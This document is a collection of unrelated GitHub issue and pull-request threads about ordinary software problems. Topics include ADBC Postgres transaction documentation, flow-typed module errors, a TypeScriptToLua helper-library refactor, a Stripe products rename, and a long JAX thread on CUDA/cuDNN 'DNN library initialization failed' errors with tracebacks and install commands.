docs: are Postgres transactions supported or not?

What would you like help with?
I am considering to use ADBC and unsure as to whether transactions are supported with Postgres or not.
This page says N (nope): https://arrow.apache.org/adbc/current/driver/status.html#feature-support
This page explicitly states the opposite: https://arrow.apache.org/adbc/current/driver/postgresql.html#transactions

Transactions are supported via the autocommit connection option (adbc.connection.autocommit).
Source reference

We need to update the docs here, sorry about the confusion.

Thanks!
Regarding isolation levels, I don't see a reason in that code why they wouldn't be respected when I set them via SQL commands.

Correct, we don't really do anything one way or another, just that there are some standard options from the driver side meant to set them that the PostgreSQL driver does not recognize. If you directly set them via SQL the driver does not care either way. (This does not necessarily apply to transactions themselves, the driver may need to start/commit transactions at certain points for certain functionality so managing transactions yourself may lead to unexpected errors.)

Ah interesting, the actual problem is that the docs for 1.0.0 didn't upload properly...


Release 4.0.1

Changes proposed in this Pull Request:

Use the latest colors package

Published as<EMAIL_ADDRESS>

@emclaug2 @jeffvg @daileytj


Add ESLint config and fix most linting errors

Closes #96

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

36 of 36 (100.0%)  changed or added relevant lines in 12 files are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 100.0%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
786

Relevant Lines:
786

💛  - Coveralls


Required module not found

I use flow-typed for libdef, but it doesn't seem to work.
// @flow

import { Foo } from 'some-lib'; // ERROR: required module not found

I have this in my .flowconfig file:
[libs]
<PROJECT_ROOT>/flow-typed

And I have a file flow-typed/some-lib.js:
// @flow

declare module 'some-lib' {
  declare export var Foo: any;
}

Am I missing something?

This is a ES 2015 import statement, not a Flow import type statement.

But flow-typed should fix this error.

But flow-typed should fix this error.

No. Please read again what I wrote.

I see. Do you know what could be the problem? It only gives the error for this package, which clearly exists.

My problem is similar to this

@kingaiakab some-lib should actually exist in node_modules. flow-typed folder only adds types for it
This probably can be closed.
/cc @vkurchatkin


rHow to reset, refresh or remove it from Elements? i need to reinit it!

Hey Behzadi
I have pages that load via Ajax and i need to refresh "persianDatepicker" for new inputs?
Is there a way to remove this and then init ?
I will be grateful

yes is possible with jquery
please google it

Using either .off('click') + .off("focus") or .unbind(), removes the persianDatepicker but you won't be able to add it again.


Game doens't always register collision between cat and dog

Didn't check on both the dog entering and exiting the cat
Doing both fixed the problem


Move Subscription Tiers API to a Products API

TODO:

[x] Migrate metadata in Stripe (subscription_tier_id -> product_id)
[x] Webhooks naming

@birkjernstrom For this first wave of changes, here is what might impact you in your accounting queries:

subscription_tiers has been renamed to products
subscription_tier_prices has been renamed to product_prices
Transaction.subscription_tier_price_id has been renamed to Transaction.product_price_id
Subscription.subscription_tier_id has been renamed to Subscription.product_id


LuaLib Refactor

Transformation changes
The first part is making builtins transformation more generic. Currently all helpers are used imperatively. A declarative solution should make code cleaner and allow some features that currently can't be implemented:

Non-call references ([1.5, 2.5].map(Math.floor))
Expose static information about supported builtins (for language service plugin)
Some sort of plugin system (since we can't really support polyfilling). It probably should use the same API as #615.

Importing changes
The second part is helper files location.
First thing, I think we should completely drop inlining. TSTL helpers have a completely different use case compared to TS ones - they are a lot bigger and used more commonly (in TS they are used only for syntactic transforms, not for builtins). They are actually more similar to polyfills, which aren't inlined by any popular transpiler. In addition they can cause some huge issues due to having different references. The only use case for inlining is environments without module support, which should be covered by bundling.
Requirements:

Using one helper shouldn't load all of them
Helpers should be shared between modules when possible
Exposing global types (#580)
Exposing importable helpers (as a replacement for directives like forRange and luaTable)
Modules (#432) compiled with older version should continue working when used in application using newer one (even across major releases)

Option 1
Keep helpers where they are, import them with absolute requires.

4 becomes harder: the only way would be rewriting these imports, which also would cause issues with versioning.
To do 5 we should never change helper signatures or remove them, and instead always create new helpers with different names.

Option 2
Distribute helpers as a separate package, import them as modules.

Depends on #432, which, in turn, depends on this issue.
Repository structure would have to become a bit more complex (monorepo).
We'll be able to depend on modules in helpers, which could be useful for some huge features (promises, console-like formatting).

how about
Option 3
When creating lualib_bundle.lua, only include helpers that were really used in the code.

Option 3
When creating lualib_bundle.lua, only include helpers that were really used in the code.

This should be possible to do now, either by generating one lualib_bundle per file or generating one lualib_bundle for the union of all lualib functions used across files (I'd probably go for the second).
Although I think this is probably the nicest way of doing the bundle, and should probably be the default, I consider this only a minor improvement over the current bundle. So pretty low on my priorities list, but PRs welcome!

As a modder, I'll be disappointed if TSTL drops support for luaLibImport: "inline". Since I don't control how the game loads scripts, I usually need to squeeze my code into one file, Lualib and everything. Sure, I could write a build script to concatenate everything together, but it's so convenient to have an "official" way to accomplish this.

I usually need to squeeze my code into one file, Lualib and everything

you don't need lualibimport inline for that, just use lua bundle with the default lualibimport value

Oops, you're right. I confused inlining with bundling. Chalk it up to user error. 👍


jaxlib.xla_extension.XlaRuntimeError: FAILED_PRECONDITION: DNN library initialization failed

Description
I have a python virtual environment with a clean installation of JAX
# Installs the wheel compatible with CUDA 12 and cuDNN 8.8 or newer.
# Note: wheels only available on linux.
pip install --upgrade "jax[cuda12_local]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html

When I run my scripts, they work perfectly, but sometimes I get the following error with a success rate of between 2 and 10 successful executions and between 1 and 3 failed executions
2023-04-02 16:00:19.964652: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:429] Could not create cudnn handle: CUDNN_STATUS_NOT_INITIALIZED
2023-04-02 16:00:19.964737: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:438] Possibly insufficient driver version: 530.30.2
Traceback (most recent call last):
  File "ddpg_jax_gymnasium_pendulum.py", line 73, in <module>
    key = jax.random.PRNGKey(0)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/random.py", line 136, in PRNGKey
    key = prng.seed_with_impl(impl, seed)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/prng.py", line 270, in seed_with_impl
    return random_seed(seed, impl=impl)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/prng.py", line 561, in random_seed
    return random_seed_p.bind(seeds_arr, impl=impl)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/core.py", line 360, in bind
    return self.bind_with_trace(find_top_trace(args), args, params)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/core.py", line 363, in bind_with_trace
    out = trace.process_primitive(self, map(trace.full_raise, args), params)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/core.py", line 817, in process_primitive
    return primitive.impl(*tracers, **params)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/prng.py", line 573, in random_seed_impl
    base_arr = random_seed_impl_base(seeds, impl=impl)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/prng.py", line 578, in random_seed_impl_base
    return seed(seeds)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/prng.py", line 813, in threefry_seed
    lax.shift_right_logical(seed, lax_internal._const(seed, 32)))
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/lax/lax.py", line 458, in shift_right_logical
    return shift_right_logical_p.bind(x, y)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/core.py", line 360, in bind
    return self.bind_with_trace(find_top_trace(args), args, params)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/core.py", line 363, in bind_with_trace
    out = trace.process_primitive(self, map(trace.full_raise, args), params)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/core.py", line 817, in process_primitive
    return primitive.impl(*tracers, **params)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/dispatch.py", line 117, in apply_primitive
    compiled_fun = xla_primitive_callable(prim, *unsafe_map(arg_spec, args),
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/util.py", line 253, in wrapper
    return cached(config._trace_context(), *args, **kwargs)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/util.py", line 246, in cached
    return f(*args, **kwargs)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/dispatch.py", line 208, in xla_primitive_callable
    compiled = _xla_callable_uncached(lu.wrap_init(prim_fun), prim.name,
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/dispatch.py", line 254, in _xla_callable_uncached
    return computation.compile(_allow_propagation_to_outputs=allow_prop).unsafe_call
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/interpreters/pxla.py", line 2816, in compile
    self._executable = UnloadedMeshExecutable.from_hlo(
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/interpreters/pxla.py", line 3028, in from_hlo
    xla_executable = dispatch.compile_or_get_cached(
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/dispatch.py", line 526, in compile_or_get_cached
    return backend_compile(backend, serialized_computation, compile_options,
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/profiler.py", line 314, in wrapper
    return func(*args, **kwargs)
  File "/home/toni/Documents/SKRL/envs/env_jax/lib/python3.8/site-packages/jax/_src/dispatch.py", line 471, in backend_compile
    return backend.compile(built_c, compile_options=options)
jaxlib.xla_extension.XlaRuntimeError: FAILED_PRECONDITION: DNN library initialization failed. Look at the errors above for more details.

What jax/jaxlib version are you using?
jax 0.4.8, jaxlib 0.4.7+cuda12.cudnn88
Which accelerator(s) are you using?
GPU
Additional system info
Python 3.8.10, Ubuntu 20.04
NVIDIA GPU info
+---------------------------------------------------------------------------------------+
| NVIDIA-SMI 530.30.02              Driver Version: 530.30.02    CUDA Version: 12.1     |
|-----------------------------------------+----------------------+----------------------+
| GPU  Name                  Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf            Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                                         |                      |               MIG M. |
|=========================================+======================+======================|
|   0  NVIDIA GeForce RTX 3080 L...    On | 00000000:01:00.0 Off |                  N/A |
| N/A   38C    P3               N/A /  55W|     10MiB / 16384MiB |      0%      Default |
|                                         |                      |                  N/A |
+-----------------------------------------+----------------------+----------------------+

+---------------------------------------------------------------------------------------+
| Processes:                                                                            |
|  GPU   GI   CI        PID   Type   Process name                            GPU Memory |
|        ID   ID                                                             Usage      |
|=======================================================================================|
|    0   N/A  N/A      1528      G   /usr/lib/xorg/Xorg                            4MiB |
|    0   N/A  N/A      2435      G   /usr/lib/xorg/Xorg                            4MiB |
+---------------------------------------------------------------------------------------+

CUDNN version (/usr/local/cuda/include/cudnn_version.h)
#define CUDNN_MAJOR 8
#define CUDNN_MINOR 8
#define CUDNN_PATCHLEVEL 1

What is your OS?
Can you confirm you run the scripts sequentially and so there is nothing that is using the GPU in parallel?

Hi @nouiz
The OS is Ubuntu 20.04, as indicated above.
Btw, I think the problem may be VS Code.
After running the script several times to try to get the error to appear, I see that the error only appears (not always but) when I make a modification to the script and save it.
There is also the following log.
As you can see (by running the nvidia-smi command just before executing the script, and after saving it) there is a GPU consumption. The strange thing is that the consumption comes from the python environment  (env_gym) configured in the VS Code bottom right pane and not from the python interface of the sourced environment where jax is installed (env_jax) 🤔
(env_jax) toni@HP-ZBook-Studio-G8:~/Documents/SKRL/skrl/docs/source/examples/gymnasium$ nvidia-smi; python ddpg_jax_gymnasium_pendulum.py
Mon Apr  3 20:41:40 2023
+---------------------------------------------------------------------------------------+
| NVIDIA-SMI 530.30.02              Driver Version: 530.30.02    CUDA Version: 12.1     |
|-----------------------------------------+----------------------+----------------------+
| GPU  Name                  Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf            Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                                         |                      |               MIG M. |
|=========================================+======================+======================|
|   0  NVIDIA GeForce RTX 3080 L...    On | 00000000:01:00.0 Off |                  N/A |
| N/A   49C    P3               23W /  55W|  12453MiB / 16384MiB |      4%      Default |
|                                         |                      |                  N/A |
+-----------------------------------------+----------------------+----------------------+

+---------------------------------------------------------------------------------------+
| Processes:                                                                            |
|  GPU   GI   CI        PID   Type   Process name                            GPU Memory |
|        ID   ID                                                             Usage      |
|=======================================================================================|
|    0   N/A  N/A      1536      G   /usr/lib/xorg/Xorg                            4MiB |
|    0   N/A  N/A      2456      G   /usr/lib/xorg/Xorg                            4MiB |
|    0   N/A  N/A     27050      C   .../SKRL/envs/env_gym/bin/python          12440MiB |
+---------------------------------------------------------------------------------------+
[skrl:INFO] Environment class: gymnasium.core.Wrapper, gymnasium.utils.record_constructor.RecordConstructorArgs
[skrl:INFO] Environment wrapper: Gymnasium
2023-04-03 20:41:43.310989: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:429] Could not create cudnn handle: CUDNN_STATUS_NOT_INITIALIZED
2023-04-03 20:41:43.311060: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:438] Possibly insufficient driver version: 530.30.2
Traceback (most recent call last):
...

Thanks for the results.
I think we need a way to give a better error to end users.

Recently a few error message got a little bit better.
Closing as I'm not sure what do to more.
But if the issue appear again and the error isn't good enough, poke us again.

I also got this error and it was due to GPU reaching its memory limit

@amacrutherford Do you have the full error message you had?
I would like to improve the error message in that case.

same error
---------------------------------------------------------------------------
XlaRuntimeError                           Traceback (most recent call last)
[<ipython-input-25-5a28263ee724>](https://localhost:8080/#) in <cell line: 5>()
      3
      4 # Initialize model weights using dummy tensors.
----> 5 rng = jax.random.PRNGKey(0)
      6 rng, key = jax.random.split(rng)
      7 init_img = jnp.ones((4, 224, 224, 5), jnp.float32)

22 frames
[/usr/local/lib/python3.10/dist-packages/jax/_src/dispatch.py](https://localhost:8080/#) in backend_compile(backend, built_c, options, host_callbacks)
    469   # TODO(sharadmv): remove this fallback when all backends allow `compile`
    470   # to take in `host_callbacks`
--> 471   return backend.compile(built_c, compile_options=options)
    472
    473 _ir_dump_counter = itertools.count()

XlaRuntimeError: FAILED_PRECONDITION: DNN library initialization failed. Look at the errors above for more details.

I think there also the memory reaching the limit.
Fri May 12 01:50:33 2023
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 525.85.12    Driver Version: 525.85.12    CUDA Version: 12.0     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  Tesla T4            Off  | 00000000:00:04.0 Off |                    0 |
| N/A   57C    P0    27W /  70W |  15101MiB / 15360MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
+-----------------------------------------------------------------------------+

Thanks for the extended error message.
But can you share the full output without any truncation? There should be information that should help me.
Which JAX version did you use?

I'm having the same problem but for me it's consistent and I'm unable to run simple Jax code. I only have this problem on my newest system with 4x RTX 4090 GPUs. I have a server A100 and a PC with a 3090ti that work smoothly.
Ubuntu 22 across all systems.
After a fresh installation of everything when I run a = jnp.ones((3,)) I get this error:
2023-05-13 09:04:27.790057: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:439] Could not create cudnn handle: CUDNN_STATUS_INTERNAL_ERROR
2023-05-13 09:04:27.790140: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:443] Memory usage:<PHONE_NUMBER> bytes free,<PHONE_NUMBER>2 bytes total.
Traceback (most recent call last):
File "", line 1, in
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/numpy/lax_numpy.py", line 2122, in ones
return lax.full(shape, 1, _jnp_dtype(dtype))
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/lax/lax.py", line 1203, in full
return broadcast(fill_value, shape)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/lax/lax.py", line 768, in broadcast
return broadcast_in_dim(operand, tuple(sizes) + np.shape(operand), dims)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/lax/lax.py", line 796, in broadcast_in_dim
return broadcast_in_dim_p.bind(
^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/core.py", line 380, in bind
return self.bind_with_trace(find_top_trace(args), args, params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/core.py", line 383, in bind_with_trace
out = trace.process_primitive(self, map(trace.full_raise, args), params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/core.py", line 790, in process_primitive
return primitive.impl(*tracers, **params)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/dispatch.py", line 131, in apply_primitive
compiled_fun = xla_primitive_callable(
^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/util.py", line 284, in wrapper
return cached(config._trace_context(), *args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/util.py", line 277, in cached
return f(*args, **kwargs)
^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/dispatch.py", line 222, in xla_primitive_callable
compiled = _xla_callable_uncached(
^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/dispatch.py", line 252, in _xla_callable_uncached
return computation.compile().unsafe_call
^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/interpreters/pxla.py", line 2313, in compile
executable = UnloadedMeshExecutable.from_hlo(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/interpreters/pxla.py", line 2633, in from_hlo
xla_executable, compile_options = _cached_compilation(
^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/interpreters/pxla.py", line 2551, in _cached_compilation
xla_executable = dispatch.compile_or_get_cached(
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/dispatch.py", line 495, in compile_or_get_cached
return backend_compile(backend, computation, compile_options,
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/profiler.py", line 314, in wrapper
return func(*args, **kwargs)
^^^^^^^^^^^^^^^^^^^^^
File "/home/hoss/anaconda3/envs/jaxtf/lib/python3.11/site-packages/jax/_src/dispatch.py", line 463, in backend_compile
return backend.compile(built_c, compile_options=options)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
jaxlib.xla_extension.XlaRuntimeError: FAILED_PRECONDITION: DNN library initialization failed. Look at the errors above for more details.

I've also tried to swap my PCs 3090ti (which works properly) with one of the 4090s and I got the exact same error. This used to work in the past

I'm getting the same kind of error trying to install jax/jaxlib on an EC2 p2.xlarge (with k80s), to provide solidarity! I can provide more details if useful, but basically running some vanilla installation script of Anaconda and trying different variants of pip install "jax[cuda11_cudnn82]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html leads Jax to report seeing the GPU when I check print(xla_bridge.get_backend().platform) but gives the DNN error above, otherwise.

(I'm also unable to any Jax code, e.g. a = jnp.ones((3,)).)

@ampolloreno Please open new issues rather than appending onto closed ones.
However, I think the problem in your case is simple: JAX no longer supports Kepler GPUs in the wheels we release. You can probably rebuild jaxlib from source if you need Kepler support, but note NVIDIA has dropped Kepler support from CUDA 12 and CUDNN 8.9, so this may not remain true for long.

@nouiz no this is all the output. It's several lines of error are you seeing all of it?
I managed to resolve this though. I installed CUDA 11 and cudnn 8.6. In my experiments I also installed the latest version of everything but this was the only version combination that worked for me. Now I'm getting other errors but that's a different problem.

@hawkinsp Point taken and... Thanks for the help! I just switched over to V100s and voila!

p

I also got this error and it was due to GPU reaching its memory limit

so

Yep I received the same error message as @Bailey-24

How to solve this problem

I got the same error, maybe it due to the mismatch between your cuda version and the installed jax. I use ubuntu 20.04 with cuda version as below:

At start, I installed the newest jax as
pip install --upgrade "jax[cuda12_pip]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html

Then I got the error as reported. So I switched to
pip install --upgrade "jax[cuda11_pip]" -f https://storage.googleapis.com/jax-releases/jax_cuda_releases.html

Everything works well!

Thanks @hosseybposh, for a simple use case I was able to use JAX 0.4.13 and CUDA 11.8 with CUDNN 8.6. I needed to add /usr/lib/x86_64-linux-gnu to the LD_LIBRARY_PATH (installed libcudnn8 with apt-get).

I also met this error:
The output:
2023-07-31 01:53:45.016563: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:427] Loaded runtime CuDNN library: 8.5.0 but source was compiled with: 8.6.0.  CuDNN library needs to have matching major version and equal or higher minor version. If using a binary install, upgrade your CuDNN library.  If building from sources, make sure the library loaded at runtime is compatible with the version specified during compile configuration.
XlaRuntimeError                           Traceback (most recent call last)
Cell In[4], line 29
26 model = trainer.make_model(nmask)
28 lr_fn, opt = trainer.make_optimizer(steps_per_epoch=len(train_dl))
---> 29 state = trainer.create_train_state(jax.random.PRNGKey(0), model, opt)
30 state = checkpoints.restore_checkpoint(ckpt.parent, state)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/random.py:137, in PRNGKey(seed)
134 if np.ndim(seed):
135   raise TypeError("PRNGKey accepts a scalar seed, but was given an array of"
136                   f"shape {np.shape(seed)} != (). Use jax.vmap for batching")
--> 137 key = prng.seed_with_impl(impl, seed)
138 return _return_prng_keys(True, key)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/prng.py:320, in seed_with_impl(impl, seed)
319 def seed_with_impl(impl: PRNGImpl, seed: Union[int, Array]) -> PRNGKeyArrayImpl:
--> 320   return random_seed(seed, impl=impl)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/prng.py:734, in random_seed(seeds, impl)
732 else:
733   seeds_arr = jnp.asarray(seeds)
--> 734 return random_seed_p.bind(seeds_arr, impl=impl)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/core.py:380, in Primitive.bind(self, *args, **params)
377 def bind(self, *args, **params):
378   assert (not config.jax_enable_checks or
379           all(isinstance(arg, Tracer) or valid_jaxtype(arg) for arg in args)), args
--> 380   return self.bind_with_trace(find_top_trace(args), args, params)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/core.py:383, in Primitive.bind_with_trace(self, trace, args, params)
382 def bind_with_trace(self, trace, args, params):
--> 383   out = trace.process_primitive(self, map(trace.full_raise, args), params)
384   return map(full_lower, out) if self.multiple_results else full_lower(out)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/core.py:790, in EvalTrace.process_primitive(self, primitive, tracers, params)
789 def process_primitive(self, primitive, tracers, params):
--> 790   return primitive.impl(*tracers, **params)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/prng.py:746, in random_seed_impl(seeds, impl)
744 @random_seed_p.def_impl
745 def random_seed_impl(seeds, *, impl):
--> 746   base_arr = random_seed_impl_base(seeds, impl=impl)
747   return PRNGKeyArrayImpl(impl, base_arr)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/prng.py:751, in random_seed_impl_base(seeds, impl)
749 def random_seed_impl_base(seeds, *, impl):
750   seed = iterated_vmap_unary(seeds.ndim, impl.seed)
--> 751   return seed(seeds)
File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/prng.py:980, in threefry_seed(seed)
968 def threefry_seed(seed: typing.Array) -> typing.Array:
969   """Create a single raw threefry PRNG key from an integer seed.
970
971   Args:
(...)
978     first padding out with zeros).
979   """
--> 980   return _threefry_seed(seed)
[... skipping hidden 12 frame]

File /mnt/data/miniconda/envs/energy_transformer_117/lib/python3.11/site-packages/jax/_src/dispatch.py:463, in backend_compile(backend, module, options, host_callbacks)
458   return backend.compile(built_c, compile_options=options,
459                          host_callbacks=host_callbacks)
460 # Some backends don't have host_callbacks option yet
461 # TODO(sharadmv): remove this fallback when all backends allow compile
462 # to take in host_callbacks
--> 463 return backend.compile(built_c, compile_options=options)
XlaRuntimeError: FAILED_PRECONDITION: DNN library initialization failed. Look at the errors above for more details.
What jax/jaxlib version are you using?
Jax0.4.10, jaxlib0.4.10+cuda11.cudnn86
Which accelerator(s) are you using?
GPU
Additional system info
Python 3.11.4, Ubuntu 22.04
NVIDIA GPU info
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 520.61.05    Driver Version: 520.61.05    CUDA Version: 11.8     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  NVIDIA GeForce ...  On   | 00000000:18:00.0 Off |                  N/A |
| 30%   33C    P8    22W / 350W |   8688MiB / 12288MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   1  NVIDIA GeForce ...  On   | 00000000:3B:00.0 Off |                  N/A |
| 30%   31C    P8    14W / 350W |      8MiB / 12288MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   2  NVIDIA GeForce ...  On   | 00000000:86:00.0 Off |                  N/A |
| 30%   34C    P8    24W / 350W |      8MiB / 12288MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
|   3  NVIDIA GeForce ...  On   | 00000000:AF:00.0 Off |                  N/A |
| 30%   30C    P8     8W / 350W |      8MiB / 12288MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|    0   N/A  N/A      2565      G   /usr/lib/xorg/Xorg                  4MiB |
|    0   N/A  N/A      2861    C+G   ...ome-remote-desktop-daemon      249MiB |
|    0   N/A  N/A   3213874      C   ...ransformer_117/bin/python     8430MiB |
|    1   N/A  N/A      2565      G   /usr/lib/xorg/Xorg                  4MiB |
|    2   N/A  N/A      2565      G   /usr/lib/xorg/Xorg                  4MiB |
|    3   N/A  N/A      2565      G   /usr/lib/xorg/Xorg                  4MiB |
+-----------------------------------------------------------------------------+

@TInaWangxue's problem was resolved in https://github.com/google/jax/issues/16901.

hi, I have similar issue. please help me!
the output:
2023-09-05 14:32:56.559501: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:439] Could not create cudnn handle: CUDNN_STATUS_INTERNAL_ERROR
2023-09-05 14:32:56.559528: E external/xla/xla/stream_executor/cuda/cuda_dnn.cc:443] Memory usage:<PHONE_NUMBER> bytes free,<PHONE_NUMBER>0 bytes total.
Traceback (most recent call last):
File "/home/wangyun/pre/alphafold-multimer-main/run_alphafold.py", line 453, in
app.run(main)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/absl/app.py", line 308, in run
_run_main(main, args)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/absl/app.py", line 254, in _run_main
sys.exit(main(argv))
File "/home/wangyun/pre/alphafold-multimer-main/run_alphafold.py", line 428, in main
predict_structure(
File "/home/wangyun/pre/alphafold-multimer-main/run_alphafold.py", line 214, in predict_structure
prediction_result = model_runner.predict(processed_feature_dict,
File "/home/wangyun/pre/alphafold-multimer-main/alphafold/model/model.py", line 167, in predict
result = self.apply(self.params, jax.random.PRNGKey(random_seed), feat)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/random.py", line 137, in PRNGKey
key = prng.seed_with_impl(impl, seed)
File "/home/wangyun/miniconda3/envs/mutimer3/lib/python3.9/site-packages/jax/_src/prng.py", line 320, in seed_with_impl
return random_seed(seed, impl=impl)
